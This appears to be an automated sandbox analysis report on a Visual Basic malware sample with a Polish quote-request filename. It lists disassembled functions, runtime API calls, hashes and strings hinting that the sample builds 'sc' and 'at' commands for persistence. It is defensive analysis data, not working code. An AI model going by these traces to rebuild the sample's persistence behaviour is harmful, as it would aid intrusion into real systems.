Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#525#616BoundsBstrChkstkConstruct2CopyDestructGenerateListUnicode
String ID:
API String ID: 1820427907-0
Opcode ID: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction ID: da6c7bdc064fde5d6e21051214ad5d77861f7fd9d568965cd9a71694eebb6c89
Opcode Fuzzy Hash: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction Fuzzy Hash: B5A11975901259DBDB14EFA0DE4DBDEB7B4FB48304F1081A9E10AB72A0DB745A84CF58

Function 004193C0 Relevance: 51.3, APIs: 34, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004193DE
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041940E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00419428
__vbaRedim.MSVBVM60(00000000,0000004C,?,00000000,00000001,?,00000000), ref: 00419458
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 0041947D
__vbaAryLock.MSVBVM60(?,?), ref: 00419495
__vbaGenerateBoundsError.MSVBVM60 ref: 004194C9
__vbaGenerateBoundsError.MSVBVM60 ref: 004194DA
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004194FA
__vbaAryUnlock.MSVBVM60(00000000), ref: 00419504
__vbaAryLock.MSVBVM60(?,?), ref: 00419519
__vbaGenerateBoundsError.MSVBVM60 ref: 0041954D
__vbaGenerateBoundsError.MSVBVM60 ref: 0041955E
__vbaAryLock.MSVBVM60(00000000,?), ref: 0041956F
__vbaGenerateBoundsError.MSVBVM60 ref: 004195A3
__vbaGenerateBoundsError.MSVBVM60 ref: 004195B7
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004195E6
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195F0
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195FA
__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Lock$SystemUnlock$DestructRedim$Chkstk
String ID:
API String ID: 3555954879-0
Opcode ID: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction ID: 67aec0367089ad9bdb06f85a3682bb1edb9e8b84c894a553a99a1ed1c2ada365
Opcode Fuzzy Hash: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction Fuzzy Hash: BED1E470D00208EFDB18DFA4DA98BDDBBB5BF48300F10815AE516B72A1DB74A985CF55

Function 00420F80 Relevance: 49.7, APIs: 33, Instructions: 230COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D05DAF4,6CF8D9F5), ref: 00420FA3
__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D05DAF4,6CF8D9F5), ref: 00420FC5
__vbaI2I4.MSVBVM60(00000000,00001000,6D05DAF4,6CF8D9F5), ref: 00420FD2
__vbaGenerateBoundsError.MSVBVM60 ref: 00420FE6
__vbaI2I4.MSVBVM60 ref: 00420FED
__vbaGenerateBoundsError.MSVBVM60 ref: 00421029
__vbaGenerateBoundsError.MSVBVM60 ref: 00421044
__vbaGenerateBoundsError.MSVBVM60 ref: 00421056
__vbaGenerateBoundsError.MSVBVM60 ref: 00421071
__vbaGenerateBoundsError.MSVBVM60 ref: 004210A0
__vbaGenerateBoundsError.MSVBVM60 ref: 004210C6
__vbaGenerateBoundsError.MSVBVM60 ref: 0042113B
__vbaGenerateBoundsError.MSVBVM60 ref: 00421149
__vbaGenerateBoundsError.MSVBVM60 ref: 00421160
__vbaGenerateBoundsError.MSVBVM60 ref: 0042116A
__vbaGenerateBoundsError.MSVBVM60 ref: 00421181
__vbaGenerateBoundsError.MSVBVM60 ref: 0042118B
__vbaGenerateBoundsError.MSVBVM60 ref: 004211A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211B5
__vbaGenerateBoundsError.MSVBVM60 ref: 004211CE
__vbaGenerateBoundsError.MSVBVM60 ref: 004211E2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211F5
__vbaGenerateBoundsError.MSVBVM60 ref: 00421209
__vbaGenerateBoundsError.MSVBVM60 ref: 00421223
__vbaGenerateBoundsError.MSVBVM60 ref: 00421237
__vbaGenerateBoundsError.MSVBVM60 ref: 00421250
__vbaGenerateBoundsError.MSVBVM60 ref: 00421269
__vbaGenerateBoundsError.MSVBVM60 ref: 00421281
__vbaGenerateBoundsError.MSVBVM60 ref: 0042129F
__vbaGenerateBoundsError.MSVBVM60 ref: 004212B2
__vbaGenerateBoundsError.MSVBVM60 ref: 004212C6
__vbaI2I4.MSVBVM60 ref: 004212CD
__vbaErrorOverflow.MSVBVM60(00000000,00001000,6D05DAF4,6CF8D9F5), ref: 004212E7

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction ID: 6f7972a480d0dd1fda114303b5166632bd8b31c6f1599b60b9e65e0100795082
Opcode Fuzzy Hash: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction Fuzzy Hash: 0F81D835B00361C6C724AB98E9C65ADB3A3BFA9701FC10076D580A7271CF7998C1C7AE

Function 00420C20 Relevance: 49.7, APIs: 33, Instructions: 191COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(6CF8D8B1), ref: 00420C36
__vbaGenerateBoundsError.MSVBVM60(6CF8D8B1), ref: 00420C51
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420C6B
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420C84
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420C9B
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420CB9
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420CD3
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420CEF
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D0A
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D24
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D2E
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D42
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D60
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D7E
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D95
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420D9F
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420DB6
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420DC9
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420DE6
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420DF0
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E07
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E1B
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E32
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E3F
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E56
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E85
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420E99
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420EAE
__vbaGenerateBoundsError.MSVBVM60(00000000,6CF82523,6CF8D8B1), ref: 00420EC2
__vbaGenerateBoundsError.MSVBVM60(6CF8D8B1), ref: 00420ED8
__vbaI2I4.MSVBVM60(6CF8D8B1), ref: 00420EDF

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$BoundsErrorGenerate
String ID:
API String ID: 3574812510-0
Opcode ID: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction ID: aa417d5a5a3cc9c21652b4fe2a9d25cfa30c058b0be9d244c1a14ba1329cb19f
Opcode Fuzzy Hash: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction Fuzzy Hash: 9E718935F1136586D724AB99E9C75ADB3E3BF88701FC11466C48123262DFB8A8C1C6DD

Function 00426720 Relevance: 46.8, APIs: 31, Instructions: 331COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,00000000,6CFB285F,6CFA1654), ref: 00426796
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,00000000), ref: 004267C7
__vbaSetSystemError.MSVBVM60(?,?,00000040,?,00000000), ref: 004267DF
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426804
__vbaSetSystemError.MSVBVM60(?,?,00000014,?,00000000,?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426819
__vbaSetSystemError.MSVBVM60(?,?,000000E0,?,00000000,?,?,00000014,?,00000000,?,?,?,00000000,?,?), ref: 00426834
__vbaRedim.MSVBVM60(00000000,00000028,?,00000000,00000001,00000000,00000000,?,?,000000E0,?,00000000,?,?,00000014,?), ref: 00426853
__vbaAryLock.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426867
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426887
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004268A7
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000,?,?,00000040,?,00000000), ref: 004268D5
__vbaAryUnlock.MSVBVM60(?,?,?,00000040,?,00000000), ref: 004268DE
__vbaUbound.MSVBVM60(00000001,?,?,?,00000040,?,00000000), ref: 004268F8
__vbaI2I4.MSVBVM60(?,?,00000040,?,00000000), ref: 00426900
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426936
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426946
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426962
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426972
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269A5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269B5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269FD
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A0D
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A33
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A43
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A69
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A79
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A95
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426AA2
__vbaExitProc.MSVBVM60(?,?,00000040,?,00000000), ref: 00426ACD
__vbaAryDestruct.MSVBVM60(00000000,?,00426AF5), ref: 00426AEE
__vbaErrorOverflow.MSVBVM60(?,00000000,?,?,00000040,?,00000000), ref: 00426B0B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$System$DestructExitLockOverflowProcRedimUboundUnlock
String ID:
API String ID: 2234381736-0
Opcode ID: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction ID: 8bb1792076bedc514fb8fc9f35066fd02f5cb142c2b8cf4fa96dc0b38f9b19a4
Opcode Fuzzy Hash: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction Fuzzy Hash: 6FC17F71E001299BCF14DFA8D980AEEBBB5FF48304FA1819AD405B7240D775AD82CFA5

Function 0041F5C0 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040B976,00000000), ref: 0041F5DE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F60B
__vbaFixstrConstruct.MSVBVM60(00000100,?,?,?,?,00000000,Function_000032B6), ref: 0041F61A
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F629
__vbaStrToAnsi.MSVBVM60(00000001,Microsoft Internet Explorer,00000001,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041F647
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F656
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F665
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,80000000,00000000), ref: 0041F696
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F6A9
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F6B7
__vbaFreeStr.MSVBVM60 ref: 0041F6C6
__vbaStrToAnsi.MSVBVM60(?,?,00000100,?), ref: 0041F6F5
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F705
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F713
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F720
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F730
__vbaStrToAnsi.MSVBVM60(?,?,00000100,00000000), ref: 0041F75E
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F76E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F77C
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F789
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F799
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7B4
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7CA
__vbaFreeStr.MSVBVM60(0041F811), ref: 0041F801
__vbaFreeStr.MSVBVM60 ref: 0041F80A

Strings

Microsoft Internet Explorer, xrefs: 0041F63E

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$FreeSystem$Ansi$FixstrUnicode$ListLset$ChkstkConstructCopy
String ID: Microsoft Internet Explorer
API String ID: 4206449948-3125735337
Opcode ID: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction ID: b2079e6668a1cd7a86d62b88bf03b67035dbb3734d396ffb12c1851edfe9c710
Opcode Fuzzy Hash: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction Fuzzy Hash: 4561CB75900208EFDB04EFE4EE49FDEBB78AB48705F104169F611B61A0CB746A45CB65

Function 00429340 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042935E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004293A3
__vbaStrCopy.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293B8
#712.MSVBVM60(?,file:///,00408114,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 004293D9
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293E4
#712.MSVBVM60(?,00409840,00406544,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 00429405
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429410
#572.MSVBVM60(00004002), ref: 00429469
__vbaStrMove.MSVBVM60 ref: 00429474
#537.MSVBVM60(00000020), ref: 0042947F
__vbaStrMove.MSVBVM60 ref: 0042948A
__vbaStrMove.MSVBVM60(00000001,000000FF,00000001), ref: 004294B6
__vbaStrMove.MSVBVM60(004097E0,00000000), ref: 004294C8
__vbaStrCat.MSVBVM60(00000000), ref: 004294CF
__vbaStrMove.MSVBVM60 ref: 004294DA
#712.MSVBVM60(?,00000000), ref: 004294E5
__vbaStrMove.MSVBVM60 ref: 004294F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,00000000,00000000), ref: 0042950C
__vbaStrCopy.MSVBVM60 ref: 0042952E
__vbaFreeStr.MSVBVM60(00429578), ref: 00429571
__vbaErrorOverflow.MSVBVM60 ref: 004295A2

Strings

file:///, xrefs: 004293D0
, xrefs: 00429429

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$#712$CopyErrorFree$#537#572ChkstkListOverflow
String ID: $file:///
API String ID: 1913684286-1087255347
Opcode ID: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction ID: b77d49a70da6056938b5249be74374e1b73de407e439ef27e1b36e2e5139af87
Opcode Fuzzy Hash: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction Fuzzy Hash: 6E510875E00209EBCB04DFA4DE48BDEBBB5FF08705F208269E512B72A0DB755A45CB58

Function 0041EC69 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E
__vbaErrorOverflow.MSVBVM60 ref: 0041F146

Strings

sc , xrefs: 0041ED3A, 0041EDA3

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600$#537Chkstk$#525#598#606#611#616#661#705Construct2CopyExitOverflowProcUnicode
String ID: sc
API String ID: 4194055773-3695712183
